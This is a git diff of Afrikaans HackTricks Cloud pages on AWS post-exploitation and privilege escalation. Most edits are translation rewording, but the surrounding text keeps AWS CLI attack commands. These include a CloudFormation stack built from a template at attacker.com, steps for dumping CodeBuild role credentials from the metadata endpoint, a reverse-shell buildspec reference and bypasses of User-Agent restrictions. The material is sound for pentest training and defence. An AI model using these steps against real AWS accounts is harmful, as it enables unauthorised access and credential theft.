werksvloeie ontwrig. +'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallelle instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller met die verdraagbare mislukking persentasie en telling mors, en sou in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloei ontwrigt. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **Potensiële Impak**: Prestasiedegenerasie, en ontwrigting van kritieke werksvloei. +- **Potensiële Impak**: Prestasiedegredasie en ontwrigting van kritieke werksvloei. ### `states:StopExecution` -'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede, en potensiële datakorruptie. +'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede en potensiële datakorruptie. > [!WARNING] > Hierdie aksie word nie ondersteun deur **express state machines**. @@ -61,6 +61,6 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide. +**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index f7760823e..1463d66b0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -17,7 +17,7 @@ Let daarop dat die gebruiker/rol die toestemming **`sts:GetFederationToken`** mo #### Pasgemaakte skrif -Die volgende skrif sal die standaard profiel en 'n standaard AWS ligging (nie gov en nie cn) gebruik om vir jou 'n geskrewe URL te gee wat jy kan gebruik om in die webkonsol aan te meld: +Die volgende skrif sal die standaardprofiel en 'n standaard AWS-ligging (nie gov en nie cn) gebruik om vir jou 'n geskrewe URL te gee wat jy kan gebruik om in die webkonsol aan te meld: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` #### aws_consoler -Jy kan **'n webkonsolskakel genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). +Jy kan **'n web konsole skakel genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS-akkrediteerings veilig te stoor en toegang daartoe te verkry in 'n ontwikkelingsomgewing. +[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS-akkrediteerings veilig te stoor en toegang te verkry in 'n ontwikkelingsomgewing. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds @@ -78,9 +77,9 @@ aws-vault login jonsmith # Open a browser logged as jonsmith > [!NOTE] > Jy kan ook **aws-vault** gebruik om 'n **blaaier-konsolesessie** te verkry. -### **Omseil User-Agent beperkings vanaf Python** +### **Omgewing van User-Agent beperkings vanaf Python** -As daar 'n **beperking is om sekere aksies uit te voer gebaseer op die gebruikersagent** wat gebruik word (soos om die gebruik van die python boto3 biblioteek te beperk gebaseer op die gebruikersagent), is dit moontlik om die vorige tegniek te gebruik om **verbinding te maak met die webkonsol deur 'n blaaier**, of jy kan direk die **boto3 gebruikersagent** wysig deur: +As daar 'n **beperking is om sekere aksies uit te voer gebaseer op die user agent** wat gebruik word (soos om die gebruik van die python boto3 biblioteek te beperk gebaseer op die user agent), is dit moontlik om die vorige tegniek te gebruik om **verbinding te maak met die webkonsol deur 'n blaaier**, of jy kan direk die **boto3 user-agent** wysig deur: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index b4e45fd6d..91591e88a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,14 +4,14 @@ ## AWS Privilege Escalation -Die manier om jou voorregte in AWS te verhoog, is om genoeg toestemmings te hê om op een of ander manier toegang te verkry tot ander rolle/gebruikers/groepe se voorregte. Kettingverhogings totdat jy admin-toegang oor die organisasie het. +Die manier om jou voorregte in AWS te verhoog, is om genoeg toestemmings te hê om op een of ander manier toegang te verkry tot ander rolle/gebruikers/groepe se voorregte. Kettingverhogings totdat jy admin toegang oor die organisasie het. > [!WARNING] -> AWS het **honderde** (indien nie duisende nie) **toestemmings** wat aan 'n entiteit toegeken kan word. In hierdie boek kan jy **alle toestemmings wat ek ken** vind wat jy kan misbruik om **voorregte te verhoog**, maar as jy **'n pad weet** wat hier nie genoem word nie, **deel dit asseblief**. +> AWS het **honderde** (indien nie duisende nie) **toestemmings** wat aan 'n entiteit toegeken kan word. In hierdie boek kan jy **alle toestemmings wat ek ken** vind wat jy kan misbruik om **voorregte te verhoog**, maar as jy **'n pad ken** wat hier nie genoem word nie, **deel dit asseblief**. > [!CAUTION] -> As 'n IAM-beleid `"Effect": "Allow"` en `"NotAction": "Someaction"` het wat 'n **bron** aandui... beteken dit dat die **toegelate prinsiep** **toestemming het om ENIGE DING te doen behalwe daardie spesifieke aksie**.\ -> So onthou dat dit 'n ander manier is om **bevoorregte toestemmings** aan 'n prinsiep toe te ken. +> As 'n IAM-beleid `"Effect": "Allow"` en `"NotAction": "Someaction"` het wat 'n **bron** aandui... beteken dit dat die **toegelate prinsiep** **toestemming het om ENIGIETS te doen behalwe daardie spesifieke aksie**.\ +> So onthou dat dit 'n ander manier is om **bevoorregte toestemmings** aan 'n prinsiep te verleen. **Die bladsye van hierdie afdeling is georden volgens AWS-diens. Daar sal jy toestemmings vind wat jou in staat sal stel om voorregte te verhoog.** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 19959dc5e..e4a95e58b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -20,7 +20,7 @@ aws --region apigateway create-api-key ### `apigateway:GET` -Met hierdie toestemming kan jy gegenereerde API-sleutels van die geconfigureerde API's (per streek) kry. +Met hierdie toestemming kan jy gegenereerde API sleutels van die geconfigureerde API's (per streek) kry. ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value @@ -29,20 +29,20 @@ aws --region apigateway get-api-key --api-key --include-value ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Met hierdie toestemmings is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit aan te roep en die potensiële toegang wat die API-gateway mag hê, te misbruik (soos om 'n kwesbare lambda aan te roep). +Met hierdie toestemmings is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit aan te roep en potensiële toegang wat die API-gateway mag hê, te misbruik (soos om 'n kwesbare lambda aan te roep). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Potensiële Impak:** Jy sal gewoonlik nie direk met hierdie tegniek kan privesc nie, maar jy mag toegang tot sensitiewe inligting kry. +**Potensiële Impak:** Jy sal gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy mag toegang tot sensitiewe inligting kry. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Moet getoets word +> Nodig om te toets -'n Aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM-rol het, voeg**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat met die IAM-rol geassosieer is, te verkry**. +'n Aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM-rol aangeheg het, voeg**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat met die IAM-rol geassosieer is, te verkry**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > Nodig om te toets -'n Aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC-koppeling wysig om na 'n ander Netwerk Laai Balans te verwys, wat moontlik private API-verkeer na ongeoorloofde of kwaadwillige hulpbronne kan herlei**. +'n Aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC-koppeling wysig om na 'n ander Netwerk Laai Balancer te verwys, wat moontlik private API-verkeer na ongeoorloofde of kwaadwillige hulpbronne kan herlei**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -90,6 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**Potensiële Impak**: Onbevoegde toegang tot private API-hulpbronne, onderskepping of onderbreking van API-verkeer. +**Potensiële Impak**: Onbevoegde toegang tot private API-hulpbronne, onderskep of ontwrigting van API-verkeer. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 2ba388c14..f407ca384 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ Vir meer inligting oor cloudformation, kyk: ### `iam:PassRole`, `cloudformation:CreateStack` -'n Aanvaller met hierdie toestemmings **kan voorregte verhoog** deur 'n **CloudFormation-stapel** te skep met 'n pasgemaakte sjabloon, gehos op hul bediener, om **aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:** +'n Aanvaller met hierdie toestemmings **kan voorregte opgradeer** deur 'n **CloudFormation-stapel** te skep met 'n pasgemaakte sjabloon, gehos op hul bediener, om **aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -43,7 +43,7 @@ Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `U ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -As jy hierdie toestemming het maar **geen `iam:PassRole`** nie, kan jy steeds **die stapels** wat gebruik word opdateer en die **IAM Rolle wat hulle reeds aangeheg het** misbruik. Kyk na die vorige afdeling vir 'n eksploit voorbeeld (moet net nie enige rol in die opdatering aandui nie). +As jy hierdie toestemming het maar **geen `iam:PassRole`** nie, kan jy steeds **die stapels** wat gebruik word opdateer en die **IAM Rolle wat hulle reeds aangeheg het** misbruik. Kyk na die vorige afdeling vir 'n voorbeeld van 'n uitbuiting (moet net nie enige rol in die opdatering aandui nie). Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `UpdateStack` toestemming** oor 'n stapel te gee en die aanval uit te voer. @@ -53,7 +53,7 @@ Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `U 'n Aanvaller met toestemmings om **'n rol oor te dra en 'n ChangeSet te skep & uit te voer** kan **'n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle misbruik** net soos met die CreateStack of UpdateStack. -Die volgende eksploit is 'n **variasie van die**[ **CreateStack een**](./#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep. +Die volgende uitbuiting is 'n **variasie van die**[ **CreateStack een**](./#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **vir jouself `ChangeSet` toestemmings** oor 'n stap te gee en die aanval uit te voer. +Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **vir jouself `ChangeSet` toestemmings** oor 'n stapel te gee en die aanval uit te voer. **Potensiële Impak:** Privesc na cloudformation diensrolle. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index c2b491f1f..f733209d2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -55,14 +55,14 @@ } } ``` -Dan **genereer die cloudformation stap**: +Dan **genereer die cloudformation stapel**: ```bash aws cloudformation create-stack --stack-name privesc \ --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**Wag vir 'n paar minute** vir die stap om gegenereer te word en dan **kry die uitvoer** van die stap waar die **bewyse gestoor word**: +**Wag vir 'n paar minute** vir die stapel om gegenereer te word en dan **kry die uitvoer** van die stapel waar die **bewyse gestoor word**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 7483fb8d0..7b7d4679a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi - `StartBuild` aktiveer 'n enkele bouwerk met 'n spesifieke `buildspec.yml`. - `StartBuildBatch` laat jou toe om 'n batch van bouwerke te begin, met meer komplekse konfigurasies (soos om verskeie bouwerke gelyktydig te laat loop). -**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle. +**Potensiële Impak:** Direkte priveskala na aangehegte AWS Codebuild rolle. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="Voorbeeld2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -140,13 +140,13 @@ aws codebuild start-build --project-name reverse-shell-project **Potensiële Impak:** Direkte privesc na enige AWS Codebuild rol. > [!WARNING] -> In 'n **Codebuild-container** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewing veranderlikes wat nodig is om toegang te verkry tot die **metadata-akkrediteerings**. +> In 'n **Codebuild houer** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewing veranderlikes wat nodig is om toegang te verkry tot die **metadata geloofsbriewe**. -> Hierdie lêer bevat die **omgewing veranderlike `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL-pad** bevat om toegang tot die akkrediteerings te verkry. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Hierdie lêer bevat die **omgewing veranderlike `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL pad** bevat om toegang te verkry tot die geloofsbriewe. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal in staat wees om die rol akkrediteerings te dump. +> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal in staat wees om die rol geloofsbriewe te dump. -> Boonop bevat dit ook die **omgewing veranderlike `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata-inligting oor die container** te verkry. +> Boonop bevat dit ook die **omgewing veranderlike `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata-inligting oor die houer** te verkry. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -268,14 +268,14 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Om **genoeg regte te hê om 'n ssm-sessie te begin** is dit moontlik om **binne 'n Codebuild-projek** wat gebou word, te kom. +As jy **genoeg regte het om 'n ssm-sessie te begin**, is dit moontlik om **binne 'n Codebuild-projek** wat gebou word, te kom. Die codebuild-projek sal 'n breekpunt moet hê:
phases:
 pre_build:
 commands:
-- echo Betree die pre_build fase...
+- echo Entered the pre_build phase...
 - echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
@@ -285,11 +285,11 @@ En dan: aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Vir meer inligting [**kyk na die dokumentasie**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -'n Aanvaller wat in staat is om 'n spesifieke CodeBuild-projek se bou te begin/herbegin wat sy `buildspec.yml`-lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdragte uitvoer in die CodeBuild-proses verkry. +'n Aanvaller wat in staat is om 'n bou van 'n spesifieke CodeBuild-projek te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdraguitvoering in die CodeBuild-proses verkry. Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller. ```bash @@ -319,7 +319,7 @@ commands: ``` **Impak:** Direkte privesc na die rol wat deur die AWS CodeBuild werker gebruik word, wat gewoonlik hoë bevoegdhede het. -> [!WARNING] +> [!WAARSKUWING] > Let daarop dat die buildspec in zip-formaat verwag kan word, so 'n aanvaller sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer zip en oplaai. Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 8ebad76f5..32d65bdcd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -14,9 +14,9 @@ Vir meer inligting oor codepipeline, kyk: Wanneer jy 'n code pipeline skep, kan jy 'n **codepipeline IAM Rol om te loop** aandui, daarom kan jy hulle kompromenteer. -Behalwe vir die vorige toestemmings, sal jy **toegang tot die plek waar die kode gestoor word** benodig (S3, ECR, github, bitbucket...) +Afgesien van die vorige toestemmings, sal jy **toegang tot die plek waar die kode gestoor is** benodig (S3, ECR, github, bitbucket...) -Ek het dit getoets deur die proses op die webblad te doen, die toestemmings wat voorheen aangedui is, is nie die Lys/Kry een wat benodig word om 'n codepipeline te skep nie, maar om dit op die web te skep, sal jy ook nodig hê: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Ek het dit getoets deur die proses op die webblad te doen, die toestemmings wat voorheen aangedui is, is nie die Lys/Kry een wat benodig word om 'n codepipeline te skep nie, maar om dit op die web te skep, sal jy ook nodig hê: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` Tydens die **skepping van die bouprojek** kan jy 'n **opdrag om te loop** aandui (rev shell?) en om die boufase as **bevoegde gebruiker** te laat loop, dit is die konfigurasie wat die aanvaller benodig om te kompromenteer: @@ -32,6 +32,6 @@ Dit mag moontlik wees om die rol wat gebruik word en die opdrag wat op 'n codepi [AWS noem](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> Wanneer hierdie API aangeroep word, **gee CodePipeline tydelike geloofsbriewe vir die S3-bucket** wat gebruik word om artefakte vir die pipeline te stoor, indien die aksie toegang tot daardie S3-bucket vir invoer of uitvoer artefakte benodig. Hierdie API **gee ook enige geheime waardes wat vir die aksie gedefinieer is** terug. +> Wanneer hierdie API aangeroep word, **gee CodePipeline tydelike geloofsbriewe vir die S3-bucket** wat gebruik word om artefakte vir die pipeline te stoor, indien die aksie toegang tot daardie S3-bucket vir invoer of uitvoer artefakte vereis. Hierdie API **gee ook enige geheime waardes wat vir die aksie gedefinieer is** terug. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 870c5f76e..5434c92c7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ --project-role "Owner" \ --remote-access-allowed ``` -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` +As jy reeds 'n **lid van die projek** is, kan jy die toestemming **`codestar:UpdateTeamMember`** gebruik om **jou rol** na eienaar te verander in plaas van `codestar:AssociateTeamMember`. **Potensiële Impak:** Privesc na die codestar beleid wat gegenereer is. Jy kan 'n voorbeeld van daardie beleid vind in: @@ -53,18 +53,18 @@ codestar-createproject-codestar-associateteammember.md - Gebruik die **`codestar:CreateProjectFromTemplate`** aksie om die skepping van 'n nuwe projek te begin. - Na suksesvolle skepping, word toegang outomaties toegestaan vir **`cloudformation:UpdateStack`**. - Hierdie toegang teiken spesifiek 'n stapel wat geassosieer is met die `CodeStarWorker--CloudFormation` IAM rol. -2. **Werk die Teiken Stapel Op:** +2. **Werk die Teikenstapel Op:** - Met die toegewyde CloudFormation toestemmings, gaan voort om die gespesifiseerde stapel op te dateer. -- Die naam van die stapel sal tipies voldoen aan een van twee patrone: +- Die stapel se naam sal tipies aan een van twee patrone voldoen: - `awscodestar--infrastructure` - `awscodestar--lambda` - Die presiese naam hang af van die gekose sjabloon (verwys na die voorbeeld uitbuitingskrip). 3. **Toegang en Toestemmings:** - Na die opdatering, verkry jy die vermoëns wat aan die **CloudFormation IAM rol** gekoppel is met die stapel. -- Let op: Dit bied nie inherent volle administrateur voorregte nie. Bykomende verkeerd geconfigureerde hulpbronne binne die omgewing mag benodig word om voorregte verder te verhoog. +- Let op: Dit bied nie inherent volle administrateur regte nie. Bykomende verkeerd geconfigureerde hulpbronne binne die omgewing mag benodig word om regte verder te verhoog. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +Jy kan die uitbuiting vind in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) **Potensiële Impak:** Privesc na cloudformation IAM rol. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 558a37cd6..9f319ceee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -4,7 +4,7 @@ Met hierdie toestemmings kan jy **'n codestar IAM Rol misbruik** om **arbitraire aksies** deur 'n **cloudformation sjabloon** uit te voer. -Om dit te benut, moet jy 'n **S3-bucket skep wat toeganklik is** vanaf die aangevalde rekening. Laai 'n lêer genaamd `toolchain.json` op. Hierdie lêer moet die **cloudformation sjabloon uitbuiting** bevat. Die volgende kan gebruik word om 'n bestuurde beleid aan 'n gebruiker onder jou beheer toe te ken en **admin-toestemmings** te gee: +Om dit te benut, moet jy 'n **S3-bucket skep wat toeganklik is** vanaf die aangevalde rekening. Laai 'n lêer op met die naam `toolchain.json`. Hierdie lêer moet die **cloudformation sjabloon exploit** bevat. Die volgende kan gebruik word om 'n bestuurde beleid aan 'n gebruiker onder jou beheer toe te ken en **admin-toestemmings** te gee: ```json:toolchain.json { "Resources": { @@ -28,11 +28,11 @@ Om dit te benut, moet jy 'n **S3-bucket skep wat toeganklik is** vanaf die aange } } ``` -Ook **laai** hierdie `leë zip` lêer op na die **houer**: +Laai ook hierdie `leë zip` lêer op na die **bucket**: {% file src="../../../../images/empty.zip" %} -Onthou dat die **houer met albei lêers toeganklik moet wees deur die slagoffer rekening**. +Onthou dat die **bucket met albei lêers toeganklik moet wees deur die slagoffer rekening**. Met albei dinge opgelaai kan jy nou voortgaan met die **uitbuiting** deur 'n **codestar** projek te skep: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index 774f1a6c4..3955c1c0d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -12,7 +12,7 @@ Vir meer inligting oor Cognito, kyk: ### Versameling van akrediteerbare uit Identiteitspoel -Aangesien Cognito **IAM rol akrediteerbare** aan beide **geverifieerde** en **ongeverifieerde** **gebruikers** kan toeken, as jy die **Identiteitspoel ID** van 'n toepassing kan vind (dit behoort hardgecodeer te wees), kan jy nuwe akrediteerbare verkry en dus privesc (binne 'n AWS-rekening waar jy waarskynlik glad nie enige akrediteerbare gehad het nie). +Aangesien Cognito **IAM rol akrediteerbare** aan beide **geverifieerde** en **ongeverifieerde** **gebruikers** kan toeken, as jy die **Identiteitspoel ID** van 'n toepassing vind (dit behoort hardgecodeer te wees), kan jy nuwe akrediteerbare verkry en dus privesc (binne 'n AWS-rekening waar jy waarskynlik glad nie enige akrediteerbare gehad het nie). Vir meer inligting [**kyk hierdie bladsy**](../aws-unauthenticated-enum-access/#cognito). @@ -38,7 +38,7 @@ As die cognito-app **nie ongemagtigde gebruikers geaktiveer het nie**, mag jy oo ### `cognito-identity:update-identity-pool` -'n Aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer stel of enige ander identiteitsverskaffer waar hy kan aanmeld as 'n 